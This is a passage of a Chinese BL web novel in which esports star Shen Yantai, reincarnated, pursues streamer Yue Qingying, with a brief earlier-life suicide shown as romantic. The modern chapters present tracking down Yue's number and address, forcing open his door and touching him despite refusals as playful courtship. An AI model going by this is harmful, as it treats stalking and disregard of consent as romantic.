沈砚台居高临下看着他,光在他身后遮住了他的神情,他缓缓褪下了衣裳。 月轻盈鼻翼翕动,泪珠很快滚落,他知道,他说的都是真的。 他抽噎着,朝沈砚台张开了怀抱。 沈砚台微微睁大眼睛,几乎是在瞬间扑进了他的怀里。 抵死缠绵。 月轻盈死在了沈砚台的怀里。 沈砚台不知何时学会了抽烟,星火般的烟火最后燃尽之时,沈砚台跟着闭上了眼睛。 他从不怕死,怕的是失去月轻盈。 沈家三爷为有腺体癌的omega自尽,世间震动,所有人都以为他疯了。 可当他们知道月轻盈的长相,两人恋爱轨迹,全都沉默了。 并在心里祝福他们下一世能有个好结局。 第二世劫难完。 第三世,二十一世纪。 KILL俱乐部,是电竞界兴起的一个知名战队。 王牌沈更是凭借三秒五杀、逆天神颜、一个漫不经心看镜头的五秒慢速视频频繁上热搜,被冠有让电竞圈地震的男人的名头,爆火出圈。 一家黑网吧,沈,也就是沈砚台,带着露出嘴巴位置的搞怪口罩,闲散叼着烟,双眼注视着泛着蓝光的电脑屏幕。 电竞圈男神,沈,罕见的没打游戏,而是开着聊天框,跟人……撩骚。 【弟弟是小狼狗???】:姐姐,你真的给我看胸? 害羞.jpg “啧。”沈砚台咂嘴,咬着烟头,牙印透露出咬牙切齿的味道。 这一世,不知道哪里出了问题,月轻盈他性向变了。 喜欢女人了。 呵呵,明明就是个17岁男高中生,还想看女孩子的胸。 他看个屁! 第87章 87 网恋 就这一瞬间的迟钝, 对面就开始催促了。 沈砚台深吸了口烟,眯着眼,开始找图。 月轻盈带着耳机, 坐在沙发上抠脚, 面前是聊天框, 背景是在运行的游戏背景。 他正在和网友胡侃。 电脑蓝光照着他一头粉毛,衬的他皮肤透白莹润,脸上的细小绒毛都清晰可见。 盈水清澈的眼眸是月牙的弧度,笑得时候小虎牙显眼。 “接下来的画面不能给你们看了, 要是这哥们真的发大尺度图片怎么办?” “什么?我怎么知道他是抠脚大汉?” “女生才不会做出这种事, 这老登搞不好在钓鱼。” “好了好了,大冒险算我输, 求大家放过。” 月轻盈瞄了一眼许久未回复的聊天框,点了个叉, 准备专心玩游戏。 他是主播,主玩MOBA, 点了组队, 等待进入组队期间, 聊天框突然闪烁了一下。 月轻盈心猛地抖了一下,害怕网友真的给他发图。 他单手横在眼睛前面, 切屏,这样网友就看不聊天框内容, 但是还是能和他互动了。 他不知道自己这掩耳盗铃的姿势有多么的可爱, 网友们都在哈哈哈哈。 【主播这样子,像极了我看恐怖片时的怂样。】 【为什么不给我们看,我们不是家人吗!】 【懂点事,好东西要一起分享。】 月轻盈没关注, 确认不会泄露信息,他点开了聊天框。 图片太多,导致他的消息飞速刷过。 给他的脑海里留下最多的印象是很多毛。 毛? 等消息消停了,他点开大图,随即笑喷了。 全都是动物片。 猫咪,修狗,马,牛…… 这人……有毒。 月轻盈想了想,认真措辞,真心的给这个被他随机抽到的网友道歉。 对面很快恢复了,“那……小狼狗弟弟让我看看胸?” 月轻盈震惊! 他不是遇到在钓鱼的老登,他是遇到了基佬! 他吓得立刻敲键盘,给自己改网名。 见着上一秒【弟弟是小狼狗】,下一秒变成【皈依我佛】的网名,沈砚台噗嗤笑出声。 就在他打算再调戏一下这家伙的时候,他却把他删除拉黑了。 “啧。” 沈砚台舒了一口气,有点烦。 之前的两世劫难,他都能很迅速的找到月轻盈,这一世变了。 他不知道月轻盈在哪。 他骨节细长的手包裹这整个鼠标,愣了愣,他关掉电脑下了机。 走出网吧,天色已经黑了,月亮透出一丝清冷,沈砚台感到一丝冷意。 手机这时候响了起来,见是教练,接了起来。 “什么事?” “俱乐部老板打算和FPS游戏老板搞联动,让你们去玩玩。” “什么时候?” “就这两天,到时候给你们准确消息,具体的回来跟你说。” “你在哪儿?” “刚出网吧。” “……”教练:“家里几万十几万的设备委屈你了?” 沈砚台浅笑一声,“马上回来。” 很快,MOBA和FPS游戏搞联动的事情,在电竞圈掀起了一小波旋风。 主播界为了蹭热度,更是试玩起了FPS第一人称射击游戏。 月轻盈也听到消息,自然没有错过。 他最近才签约当主播,但是因为没经验,又想一步登天,所有频道的都是试过。 最后发现他比较适合做游戏主播。 他的手软操作极限,头脑灵活,势力范围广,又比较心细,玩游戏前都会看一遍攻略,试玩几遍很快就会上手。 熟练度也只是时间问题。 好友小鹿给他发来消息,说是这次联动,会优先对游戏主播发起征选。 参加这次联动游戏优胜的可以获得和电竞明星一起打游戏。 赢了可以分一百万。 月轻盈很感兴趣,毕竟他现在很缺钱,“洗消息准确吗?” 小鹿:“准备,应该很快就会发公告。” 小鹿:“听说这次海选有惊喜。” 月轻盈:“什么惊喜?” 小鹿:“MOBA和FPS游戏战队队员会随机出现在主播参加的队伍里,依据胜率搞不好可以成为正式队员。” 月轻盈挑眉:“我们和他们打那还打个屁?” “哈哈哈,看看主办方的意思吧。” 和小鹿聊完,月轻盈准时上线,果然,大厅里很快就发布了公告。 内容和小鹿和他说的一样,月轻盈看了眼报名,按下了鼠标。 KILL俱乐部,一队战队ASS的基地,沈砚台和队员还有教练正在针对这次联动活动开会。 教练:“你们都分组了,到时候好好玩一把吧,要是有好的选手也可以推荐给队里。” 队里辅助猛男道:“反正最近也没有训练那就搞啊。” 队里射手周强:“玩MOBA游戏腻了刚好试试新游戏。” 队友都在发言,只有沈砚台靠在沙发上一言不发。 队里最小的,法师位林杰看着他道 :“哥,你怎么不说话,是不是不想参加?” 教练:“对,你要是不想参加也行,我和主办方说说。” “我参加,我只是在想事情。”沈砚台坐起身,对众人浅笑道:“肯定很有趣。” 随着报名递交,主办方立刻就提交了比赛行程。 月轻盈找到自己ID,看了眼比赛时间,下午三点半开始。 五局三胜机制。 FPS游戏。?不是自己最近玩的MOBA模式游戏,月轻盈皱了皱眉头,想到什么又去看队友ID。 ASS,沈。 HGC,可爱。 主播箱子…… 一个MOBA游戏战队王牌,一个是FPS战队队员。 和小鹿说的都对上了。 月轻盈点开常玩的游戏打算先开直播,再来研究这个活动。 等待进入的时间他看了一下手机,聊天软件提示他加入了一个群聊。 陌生的让他以为这不是自己的手机。 看完了群名和群内成员,他明白了,这应该就是那个临时组成队伍的成员。 ASS,沈。 HGC。可爱,都在其中。 不知道是正式队员不屑跟他们互动还是有别的原因,群里很安静。 月轻盈想了想,没有做那个出头发信息的。 他玩起了游戏,网友也陆续进了他的直播间,期间他也会说欢迎语。 播了一个小时,他拿起手机看有没有消息,ASS,沈,请求添加你为好友。 月轻盈:? 他惊的差点把手机摔了。 ASS,沈加他干什么,不会是找他借钱吧? 哦,他多虑了,他穷的只剩下人了。 点了同意,月轻盈就将手机丢一边,开了下一局。 玩到下午五点多,有点饿,他打算点个外卖,ASS,沈发来一条消息。 “连麦打游戏吗?” 月轻盈:? 战队王牌这么平易近人的吗? 月轻盈:“打吧。” 手机嗡嗡嗡震动个不停。 沈砚台双手抱臂,瞪着消息不断的手机,脸色很臭。 知道自己加入队伍,他看着成员只是想试一下能不能遇见月轻盈,就给队友们都发了消息,然后就停不下来。 队伍猛男见状失笑,“好家伙,我还以为这里地震了。” 沈砚台哼,让猛男帮他回消息。 猛男帮他清消息,“哥,他们都同意打游戏,问你什么时候上线。” “现在就上。” 不上他就连一点遇见月轻盈的机会都没有了。 坐在机位前,沈砚台打开了游戏,花了点时间进入战队,又花了点时间看了攻略,就这么上手了。 组队也花了点时间。 半个小时后,游戏开始。 因为是连麦,总得有人带头说话,队里还有其他两个主播。 月轻盈看过两个人的资料,都是播了很久的老主播了,开麦就开始带节奏,和众人打招呼。 FPS战队队员也没有拿乔,相处的还可以,除了月轻盈和沈砚台。 月轻盈因为是个小透明,不想说错话,沈砚台则是对这些中气十足的老男人完全没兴趣。 月轻盈不可能变成糙汉,声音也绝对不是这种浑厚成熟的。 他的声音很清透,听起来就很悦耳,像溪水,像音阶。 “沈怎么不说话?” ASS,沈:“在研究玩法。” 月轻盈噗嗤笑,一听就知道他在瞎说,他瞥了一眼顶着ASS,沈ID的游戏人物。 “新人主播不说话也是在研究玩法?” “我在研究能不能氪金打赢对面。” 沈砚台闻言,眯眼笑了,找到了。 接下来的游戏走向就很基……不是……诡异。 要么不开口,要么开口就是敷衍人的ASS,沈,鬼上身一样对着一个新人主播嘘寒问暖。 “新文主播叫什么啊?” “这个装备给你好不好啊?” “你看这花喜欢吗,我送你?” 月轻盈:“???” 月轻盈:“……” 月轻盈已下线。 其他看戏的人,哈哈哈哈哈哈。 ASS,沈,笑得最大声。 没过多久月轻盈上线了,屏蔽了沈砚台。 打完一局游戏后,月轻盈看着不时想起声音的手机。 FPS,可爱:“新人主播你火了。” 月轻盈:“?” 火,何来得火? 很快他就知道。 队伍中的其他两个主播,打游戏的时候是开的直播。 刚才ASS,沈的操作,和月轻盈爱搭不理的场面,直接火了。 网友将他们送上了热搜。 月轻盈点开FPS,可爱发来的链接,开屏就是哈哈哈。 “瞧瞧沈这个不值钱的样子。” “啊对对对,沈对你发起了歹徒兴奋术。” “哈哈哈,新人主播真有魄力,全程无视沈。” 月轻盈:“……” 突然,手机接进来一通陌生电话。 月轻盈接了起来,鼓膜立刻听到了磁性带着轻笑的男声。 “小狼狗弟弟?” “卧槽!” 月轻盈吓得差点没把手机摔了,弟弟是小狼狗这个网名他早就改掉了! “你是谁?” 夜里的城市,有种浓稠的旖旎。 沈砚台举着手机一边漫步,“姐姐?” 月轻盈吸了一口气,他不会是遇见了变态吧。 “你怎么知道我手机号的?” “托人找的,哦,跟你做一下自我介绍,我是ASS,沈,沈砚台。” 月轻盈人傻了。 然后问出一个致命疑问,“你为什么叫砚台?” 沈砚台:“你以前也问过,自己想。” 月轻盈疑惑,他怎么不知道? “你打我电话什么事?” “来给你看胸。” 月轻盈:“……” 啪,他把手机挂了。 看着直播间中快速飞过的无数弹幕,沈砚台咧嘴,笑得恶劣,回答网友们的问题。 “嗯,对,网恋。” “我追的他。” 第88章 88 小没良心 “沈砚台是不是疯了, 他是不是疯了啊啊啊啊!” 月轻盈满脸怒容,他第一次被一个男人给气的不知所措,也不知道怎么做才能让他安分点。 小鹿发来截图。 上面是沈砚台说自己是他男朋友的言论。 月轻盈气的火冒三丈:“真是不要脸啊!” 小鹿:“他说他来找你, 哈哈哈, 他又不知道你家地址。” 月轻盈气鼓鼓地:“他当然不知道, 他知道了才有鬼。” 小鹿:“惊恐,JPG.” “你看看这是不是你家楼下那家味道超级好吃的羊肉粉丝店?” 小鹿发来一张图片。 月轻盈点开图片,皱着眉头凑近,确认店名, 还有周边熟悉的建筑, 他惊慌地站了起来。 “这是巧合吧?”他打字的手都是抖的。 小鹿不断给他发来信息。 月轻盈没空理会,切进去了沈的直播间。 背景里是一捧局促的暖光, 入眼是陈旧泛黄的楼梯间,伴随着他的脚步声, 月轻盈表情越发难看了起来。 “那个神经病!” 他快速移动到门口,贴在门后, 警惕起来。 不多时, 敲门声紧随而至。 “谁!”他屏住呼吸。 “送外卖的。”沈砚台靠在旁边, 嗓音懒懒散散地,但逼近的气势却很汹涌。 “我没点外卖!”月轻盈抓狂, 气的想把沈砚台塞死,但是又怕自己被他抓住。 他不知道他想干什么。 “你开门不就知道是不是送外卖的了?” “不开!” 月轻盈的回答非常拒决绝。 三十年。 等了三十年再次见到月轻盈的沈砚台早已经是耐心告罄。 “我怀疑沈的直播间马上就要被关了。” “对……有点子那个小偷的味道。” “偷……偷人的那种吗?” “哈哈哈哈, 人家小新人主播都吓死了, 沈你就不要故意吓人了。” 扫了一眼弹幕里的内容,沈砚台挑眉,随即低下头。 直播间的水友们只看见一颗很完美的颅顶,表情却满脸问号, 沈在干嘛。 沈砚台没干嘛,就是在弄开阻碍他的门。 门外没了说话声,月轻盈狐疑他是不是吃了闭门羹知趣的走了。 谁知道,下一秒,就有一股大力将他撞的往后仰。 他的表情有一瞬间的空白。 下一秒,视野里闯进来一张很难让人忘记的脸。 失神愣了一瞬,月轻盈就满脸不善地瞪起了沈砚台。 见他要倒地,沈砚台手快,将他接在了自己的怀里。 “这么热情?” “热情你妈!”月轻盈没憋住,从他怀里站起来后便破口大骂。 “你来我家干什么?” “不是说了,来给你看胸啊。” 沈砚台自然而然走进他的居所,抬脚一勾,门在身后关的严实。 注意到这一点,月轻盈吓得心脏乱跳,努力让自己看起来很凶悍,对沈砚台做出赶人走的恶劣姿态。 “给我出去,这是我家!” “别着急,给你看完胸我就走。” 弹幕消停了。 月轻盈人傻了。 之后弹幕疯了。 月轻盈也疯了。 “看什么看,我没说要看!” “哦,那就是我想给你看!” “神经病啊!”月轻盈气的头昏脑胀。 见沈砚台开始自顾自地脱衣服,月轻盈一阵惊慌,赶忙伸手阻止。 “住手,我没说看,我真不看,卧槽,你他妈能不能听人话!” 沈砚台看着他忙碌的小手,和他额间急出来的细汗,眼里流露出了捉弄。 “你要是在阻拦,信不信你的衣服也会变少?” 月轻盈:“!” 弹幕:“!” 趁着他愣住,沈砚台拿下他的手,露出精壮结实的胸膛给他看。 月轻盈喉结滚动了一下,接着就是大爆发。 “你神经病啊,滚,给我滚!” 沈砚台:“什么?你还想摸?” 他伸出手,往前一报,月轻盈就埋在了他的胸膛。 月轻盈:“……” 弹幕:“……” 弹幕:“哈哈哈哈吧” 沈砚台偷偷蹭了蹭月轻盈柔软的发顶,在他要动手揍自己之前,将他放开。 被整个胸扑,差点喘不过气来的月轻盈,憋的脸都红了。 得意呼吸的时候,他恨不得将空气吸光,好不容易活过来,见沈砚台穿上衣服,他就没脾气了。 真的没脾气了。 他害怕自己会被气死。 “你到底是来干什么的?” 沈砚台不说话。 月轻盈投降,“看完胸了你是不是可以走了。” “说啥呢,还得谈恋爱啊。” 月轻盈一口气好悬差点没提上来,“我谈你妈……” “好了好了,知道你今天直播累了,今天就算了,明天我来接你出去吃饭?” 不管月轻盈有没有答应,沈砚台强硬的说完自己想说的话,就走了。 走了…… 一口气堵在喉咙里的月轻盈,看着阖上的大门,他在原地像是困兽般踱步两圈,最后失去理智的开始脚踹空气。 逗了一下月轻盈的沈砚台,可以说是通体舒畅。 回去的路上一直和网友聊天。 “你是gay?” “我只是喜欢他。” “你喜欢他什么?” “喜欢他……不喜欢我?” “……” 沈砚台疑似是gay的头条占据第一名。 沈砚台无所谓。 照常开直播,打游戏,联动也有在好好做。 月轻盈在家里憋屈了两天,没敢开直播。 每天只和小鹿联系,看小鹿给他发来关于他和沈砚台纠缠的各种与时消息。 小鹿:“你真的不打算直播啦?” 小鹿:“我要是你我就开,那个沈自带流量,主动和你接触,你不得直接火的起飞?” 小鹿:“而且他很帅不是吗?也很有能力,听说也很有钱。” 月轻盈立马道:“他还有病。” 小鹿发笑。 小鹿:“真的不考虑一下?你和他接触,他的流量就是你的流量。 小鹿:“你就当利用他,等你火了,你在踹开他就是了。” 小鹿:“我看他也傻不拉几的,搞不好,你让他去东他不敢去西,多好玩。” 好玩? 月轻盈拧眉,觉得小鹿的想法很危险,不过,他的话也不是没有道理。 他现在就是想疯狂赚钱,眼下就有一个机遇在他面前。 沈砚台,战队第一人,电竞圈男神,自身还带有有钱有颜光环。 本来,他和这种人根本接触不到一起。 他陷入纠结,陷入苦恼,最后,咸鱼瘫一样放空大脑。 “利用他一下应该没关系吧?” “不就是谈恋爱吗,我还能有什么损失不可?” “他是在追求我不是吗?” “那我可以理直气壮点指挥他向东向西没毛病啊。” 想通了之后,月轻盈通体舒畅,“那我还怕个毛,开我的直播,靠着沈砚台的流量,哐哐赚大钱。” 月轻盈粉色的脚趾蜷了蜷,从床上爬起来,打开了电脑。 刚打开直播,水友们就像是泄洪了似的涌入了他的直播间。 “我看看,这脸不红气不喘,看来什么也没发生。” “奇怪,楼上说的我都听懂了。” “这两天去哪了!是不是和沈谈恋爱去了!” 看着多到显得有些卡顿的弹幕,月轻盈嘴角抽动,他挑了几个不太犀利的问题回答。 “没有谈恋爱。” “你们说的什么我也听懂了,别瞎想,没那回事。” “我俩没谈恋爱。” “他是不是在追我?嗯……你们去问他。” “我同不同意?嗯……看他的用心吧。” 月轻盈就这么一边玩游戏,一边敷衍的和水友们聊天。 敢信吗,他没有高技术的操作,也没有什么梗,这天收到的打赏是他直播这些天全部加起来的十倍。 月轻盈恍惚中顿悟了,“原来大家都是乐子人。” 刚下训的沈砚台,还没走出训练室,就听见队里辅助猛男喊住。 “哥,你还没追到人啊?”他一副没用的神情。 沈砚台看过去,“你什么时候开始操心这事了。” 猛男:“人家男孩子长的多好看啊,我是不反对这门亲事。” “你当然不反对,你恨不得天下帅哥在一起,你就有机会能有一个女朋友了。”射手周强在背后嗤笑。 沈砚台轻笑,“那你呢?” 周强挠头:“我啥?” “你们是不是有点过于平静了?” 猛男和周强互相对视一眼。 猛男说:“你做的那件事不平静,我们都习惯了。” 周强:“之前我就觉得你很猛,你看,你喜欢男人还不猛?” 沈砚台点点头,转身走了。 周强在身后问,“你干嘛去?” 沈砚台头也不回,“追人去。” 月轻盈看了看时间,晚上七点多了,他打算把直播间挂着,先给自己点个外卖。 刚拿出手机,门外救传来了敲门声。 “送外卖的。” 月轻盈点开软件的手指一顿,那慵懒的嗓音,嚣张的厚脸皮,和不断敲门制造噪音引起他注意力的强势。 沈砚台那个家伙又来了。 “是不是有什么动静?” “我好像听见我沈哥的声音了?” 月轻盈心惊,直播间里的水友们好像有点子福尔摩斯的天赋。 他打哈哈说是邻居,藏起怒气假笑着说出去一下,离开了直播间。 打开门,果然是沈砚台,他冷着脸,“干嘛?” 沈砚台盯着他看了一会,软声道:“小没良心。” 月轻盈心头一跳,“干嘛说我没良心?” 沈砚台不说话,起身走进他,秾艳的唇缓缓靠近月轻盈。 第89章 89 死gay这么撩吗 “利用我的流量跟我接触, 你却居然不愿意跟我有关系,你不是小没良心是什么?” 被揭穿后月轻盈面皮有些发热,又有些恼怒, “你都知道了, 还来找我, 你难道不是也对我有所图谋?” “哦,你很清楚嘛。”沈砚台给他一个赞赏的眼神。 煞笔。 月轻盈瞪着他,“所以你来干嘛?要是你说不准我利用你,我也会收手的。” “说什么呢, 你尽管用, 只不过,你得跟我谈恋爱吧, 不然我得多吃亏啊。” “谈个鬼,咱俩男的!” 沈砚台挑眉, 没有一丝打击到的样子,单手撩了一下有些遮眼的额前发, 他意味深长道, “我的魅力足够让你对我动心。” “……” 看着他那张闪耀的脸, 神情的眼,出类拔萃的提个, 浑身散发出的性感气息,月轻盈没法否认, 他真的很帅。 “对我无效。”月轻盈撇开眼, 满脸的不爽,“我也很帅的好吗?” “你是漂亮,是放人忍不住采撷的漂亮。” 月轻盈额角青筋直跳,觉得有被冒犯到, 大男人用漂亮描述,真是被小看了。 “行吧,那就谈恋爱吧,我要配合你做什么?” 不愿意和他纠缠,月轻盈选择和他周旋。 “不用做什么啊,和我吃吃饭,逛逛街,送你礼物你都收着?”沈砚台眼里都是我是不是很浪漫的可爱。 “这……这么简单?”没有□□,没有颜色,这么清纯? 月轻盈是讶异的,但是在见到他一脸蠢样的时候确定了,他估计就是这么想的。 “走吧吃饭。”月轻盈换了身衣服,带着沈砚台出门,把门锁好往外走。 “我们吃什么?” “吃你。”沈砚台一脸笑笑眯眯。 月轻盈的步伐有些绞住,差点绊倒,果然,是他想的太浅了,沈砚台一看就是有经验的老手。 “吃个鬼。”推开蹭过来的沈砚台,月轻盈舒出一口气,“快吃,吃完我要回去直播。” 知道他没那么容易妥协,沈砚台有些不开心,他真的很想和他亲密,他很想他。 “那就吃饭吧,吃你喜欢的。” 到了吃饭的场所,月轻盈有些愣住。 看着眼前热闹的商场,那可以尽情挑选的吃饭的店铺,他眨眨眼,他以为沈砚台会带他去有高逼格的地方。 不过在这种更进烟火的地方,才更加接地气,也能让他放松。 “吃火锅吗?”沈砚台指着不远处的一家店。 “吃!”月轻盈看着那家店名字,眼睛一亮,露出小恶魔般的坏笑,几乎是一口答应。 “要不要吃拉面,有拉面表演?” “不吃。” “你过生日吗,他们会给祝福。” “不过。” “吃饭能安静点吗?”月轻盈头埋在菜单里,疯狂在手机里点啊点。 沈砚台被他可爱到,“行吧,那不打扰你。” 他静静坐在那,不时喝口水,不时看看周围的一切,察觉他的乖巧,月轻盈抬起头。 “你怎么不点?” “嗯?我不是有你了,你点什么我吃什么。”沈砚台立刻对他露出灿烂的笑。 好像看到他脸庞旁边莫名开出了好多花。 月轻盈有被刺眼到,他刚想说他不要这么风/骚,跟孔雀开屏似的,这时,有压低的谈论声传来。 “喂,你看那个人是不是沈?” “卧槽,越看越像啊。” “什么,ASS战队的沈?” “就在那,就在那。” 像是旋风一样的风暴在慢慢靠近。 月轻盈这时莫名有些讨厌那些讨论声,更讨厌对此一无所知还对他笑得好看的沈砚台。 “唔……”脸被东西遮住,沈砚台看向脸色不好的,小声道:“怎么了?” “你帅到我了。”月轻盈面无表情,手上动作迅速,刷刷将本该系在衣服上的围裙在沈砚台的脸上系的紧紧的。 沈砚台摸着围裙,有些委屈巴巴:“老婆,我没办法吃饭。” 刚喝了一口水的月轻盈,差点吐出来,“老婆?” 沈砚台仿佛意识到了错误,赶紧改口:“不好意思,习惯了。” 在修真界和古代的时候,沈砚台是习惯说夫人的,但现在是现代,贴近人群就自然改口喊老婆了。 习惯了? 月轻盈有不好的联想,这人是不是喊他之前的那些对象老婆习惯了。 真恶心,居然感沿用在他的身上。 “以后不许喊老婆,否则协议无效。” “什么协议?” 月轻盈满脸冷霜,像是高高在上的王:“我利用你的流量,我和你谈恋爱的协议。” “啊,那是协议啊?”沈砚台露出不怀好意的笑,隐晦地伸舌舔自己的唇角,“这是不是代表你愿意跟我亲亲抱抱?” “看……看情况。”月轻盈其实慌得一批,但为了让自己看起来很从容,故作镇定。 看穿他的伪装,沈砚台偷笑,肩膀一抖一抖的,在月轻盈察觉前迅速恢复正常。 “好,那什么情况可以?” “这个……这个要看当时的气氛,要看两个人的心情……反正……反正不是现在。” 沈砚台摊手:“好吧,我可以等。” “那现在先吃饭。” 看着不停端上来的美食,月轻盈的专注力已经放在了吃这件事上面。 知道他馋了,沈砚台轻笑,挽起衣袖伺候他吃饭,为了不让他看出来什么,自己时不时吃点。 最后的结果就是月轻盈吃撑了,坐车的时候肚子揣着像是怀了三个月。 车子发动他就有种食物在地肚子里翻涌的错觉,立刻叫停,打算去周边最近的广场散散步再回去。 夜晚的广场很幽静,灯光都是温柔的,晚风也很适宜,月轻盈觉得很舒服。 沈砚台一直在他身边陪着,不时看着他的脸,眼里的浓稠的情感根本化不开。 就在两人走到广场中心的时候,这才发现这个范围的灯光刺眼的像是绽放了烟花。 人群很多集中在一块,不用刻意去听,有人在大声喊,嫁给他,嫁给他。 原来是求婚现场。 这些是只能在小视频上面看到的,月轻盈好奇,带着沈砚台一起看过去。 人群很拥挤,一眼看过去都是人头,月轻盈不爽,踮起脚尖,只是没一会他就腿酸了。 见他跟只小鸭子似的扑闪,沈砚台低声闷笑,随即仰头大声道,“麻烦让一让,我弟弟也想看。” 月轻盈一个激灵,满眼震惊地看着笑得恶劣的沈砚台。 人群听到动静,回头见是两个大帅小伙,本来就是喜事,都想着大家能看到便都挪一挪了位置。 立在众人的视线中,月轻盈有些无措脸红,走路都有些同手同脚,沈砚台从容许多,不时对周围的人道谢。 到了第一层人群,终于可以看清现场,月轻盈有些激动。 男生拿出了戒指盒,单膝下跪,向心爱的女生求婚。 女生一脸的期待,想来是非常愿意答应。 戒指带在女生手上的时候,周围人都立刻送出祝福,所有人都在鼓掌。 月轻盈也很感动,手心都拍红了。 男生抱住心爱的女生大声告白我爱你,现场轰动,都在起哄喊亲一个! 月轻盈也没忍住加入了进去,“亲一个!” 男生女生虽然害羞,但也应了大家的善意的哄闹,拥吻在一起。 月轻盈看的非常满意,“你们要幸福,真好真好。” 在这时,他察觉到了身边有拉扯力,转头看去,就见沈砚台低下头凑进了他。 一个浅淡到回味不出味道的吻,浅尝辄止。 月轻盈有些愣,看着沈砚台翻涌着情意的眼眸,有些不解。 他的眼里怎么有着浓浓的哀伤。 “回去给我亲?”沈砚台伸手拉住了月轻盈的手。 月轻盈呆了呆,随即下意识地看向四周,见大家都关注新人,拉着沈砚台逃也似的跑了。 “你发什么疯。” 阴暗晦涩的小巷,月轻盈劈头盖脸对沈砚台发火。 沈砚台抿着唇,启唇道:“当时的气氛很好,我心情也很好,所以就亲了啊。” 月轻盈:“……” “我说的是两个人,我们两个人,不是你心情好就能亲。” “那我亲的不舒服吗?”沈砚台脸上带着郁闷。 月轻盈:“……” 沈砚台的唇瓣很软,很热,有淡淡的烟味但是也有漱口水清凉的味道。 “没……没说不好。” “那亲亲?” “不亲。”月轻盈低下头,掩饰自己的紧张,莫名其妙地,他觉得他们会亲亲。 “可是你没有躲开我耶。”沈砚台笑眯眯地,欺身上前。 伸出手慢慢捧起月轻盈的脸,一点点试探着深吻。 月轻盈紧闭双眼,让自己去习惯他,他以为沈砚台会很凶,事实上他很温柔,有种他被珍视的感觉。 他的吻似乎都是虔诚的,捧着他的脸,眼眸微微睁开一条缝,唇上的动作很轻又深刻。 月轻盈渐渐放松下来,沈砚台稍稍撤退的时候,他竟然不自觉的追了上去。 沈砚台一愣,哈哈大笑,在月轻盈窘迫要打人的时候,一把抱起他,重新亲了下去。 这次超凶,月轻盈的嘴唇都疼了。 看着笑容满足离去的沈砚台,回到家等我月轻盈还有一丝不真实感。 被他得逞了。 自己被骗了。 死gay都这么会撩吗! 第90章 90 这么完美的男人是他的食物 事实证明, 死gay会撩就算了,居然还有人掺和。 和沈砚台说开的第二天,月轻盈带着一身轻松开了直播。 “哈哈哈, 我沈哥的嘴是什么滋味的?” “你俩的奸情都这么明显了, 还装就没意思了。” “真猛, 大庭广众就亲,不要命啦?” 月轻盈拧起眉头,一脸慎重的看着弹幕,随即, 问出了疑问。 “你们再说什么?” 很快, 弹幕上就出现了一个链接,月轻盈眼疾手快点进去。 点开的画面是沈砚台低下头亲他那幕。 月轻盈傻眼了。 他瞪大眼。 看着明亮的灯火下, 比他高出很多的沈砚台整个人似是将他纳入了怀里,温柔的亲他, 脸上带着满足的笑,眼底的柔光腻人。 沈砚台这……眼神看起来很……吸引人。 好像他就是他爱的人。 “怎么可能……”月轻盈皱紧了眉头, 开始思索他和沈砚台见过几面。 也没几面啊, 为什么看起来对他很深情的样子。 网友见他还敢出神, 纷纷震惊了。 “你在干什么,我们在放你的接吻画面, 你居然不跳脚。” “你搞清楚一点,你这就是妥妥的社死, 还不快点认怂。” “服了, 你是不是一点都不知道怕?” 回过神的月轻盈看到这些弹幕,只是轻轻一笑,“这算什么……更刺激的我们都干过。” “?” “???” “好东西一起分享啊!” 月轻盈满意了。 他摸了摸发热的耳朵,闲聊间就要扯开话题。 就在这时候, 沈砚台发起来了直播PK提醒。 月轻盈:“?” 他拿起手机,埋头打字。 “?” “干嘛让我们看你的头顶?” “哦,跟沈哥学得是吧。” 看到网友们的弹幕,月轻盈笑了一下,“没有,我就是发信息问问他干嘛。” “那你倒是接啊。” 这时候沈砚台的信息也回了过来,“给你增加流量,不要?” 月轻盈犹豫了两下,“那你不能做奇怪的事。” 点点手指,他点开了接受。 沈砚台那一边的镜头立刻切了进来,一整个屏幕被分成两块。 相比较月轻盈的居家风,沈砚台好像是在训练室,背景冷冽干练,他身上还穿着ASS的队服,像是刚下训练。 “沈哥好!” “啊啊啊,沈哥好帅啊啊啊!” 弹幕诈了。 月轻盈和沈砚台正在PK,看着沈砚台的数据哐哐哐涨,他垮起了批脸。 沈砚台见状,轻笑了起来,动动手指,给他送了很多飞船。 看着满屏幕的ASS沈送的飞船的弹幕,月轻盈臭着的脸一点点变得好看,他凑进屏幕数他送了多少个。 沈砚台看笑了,就一直给他发,逗他玩。 一边被冷落的网友:“……” “我们都是你们恋爱play的一环吗?” 见他还在发,惊觉太多了的月轻盈立刻阻止,沈砚台听见这才住手。 网友见那闪亮亮的弹幕消失,立刻发起弹幕攻击。 “AUV——我还以为是财神爷发钱了。” “财神爷发钱怎么只发给主播一个人啊。” “哦,这个财神爷是独属主播一个人,咱啥也不是。” 月轻盈连忙安抚网友,见他头大到无措,沈砚台只是淡淡出声道:“别逗他了。” “收到!” “我沈哥发话了,都停停。” “大哥让我们别逗,待会他肯定自己逗。” “小主播好可怜。” 看着刷起来小主播好可怜的弹幕,月轻盈噎住,他哪里可怜了。 沈砚台给他打钱,他可怜什么! “你不忙吗?” 互动了一会,月轻盈终于和沈砚台聊上了。 “刚下训,听说你在跟网友们我们还做了其他刺激的事,我就上线想问问你我们还做啥刺激的事了。” 月轻盈:“……” 弹幕都是哈哈哈哈。 月轻盈挠脸,“要是就这问,那没啥值得好奇的。” 沈砚台点头,问他有没有吃饭,月轻盈乖巧回答,两人聊的很生活化,但是在网友们看起来就很老夫老妻。 “今天和其他队伍的比赛打完后,要出来跟我吃饭吗?” “好。” “线上见就算了,线下还要见,你们好频繁啊,不会腻吗?” “这叫什么腻,热恋期都是这样的。” “这算什么,我和我女朋友吃饭都要腻在床上。” “楼上的不要带颜色。” 这句话没看懂,他凑近了些,下意识的问了出来,网友们一阵无语,随即都回让他去问沈砚台。 沈砚台不说话,嘴角噙着笑,月轻盈问他也不说,要么就是说下次告诉他。 直觉告诉月轻盈这不是好话,他立刻闭嘴,聊了其他。 这场PK只延续了半小时,沈砚台有事要外出就先下播了。 他走的时候,平台自带的直播PK自然也关闭了,结果显示是沈赢了。 所有人都不意外,月轻盈也没有纳罕,他只是笑笑,继续和网友们撩骚。 一直到晚上的饭点,沈砚台联系他出来吃饭,他才下播。 吃饭是真的认真吃饭。 沈砚台说:“和FPS联动的活动马上要结束,他们也要正式的打比赛,到时候见面的时间可能会减少很多,你是不是很开心?” 月轻盈一愣,随即想了想,没有沈砚台来烦他,好像会轻松很多。 “却是挺开心的。” “小没良心。”沈砚台笑笑不在意。 吃完了一阵生活气息的晚饭,沈砚台送他回家。 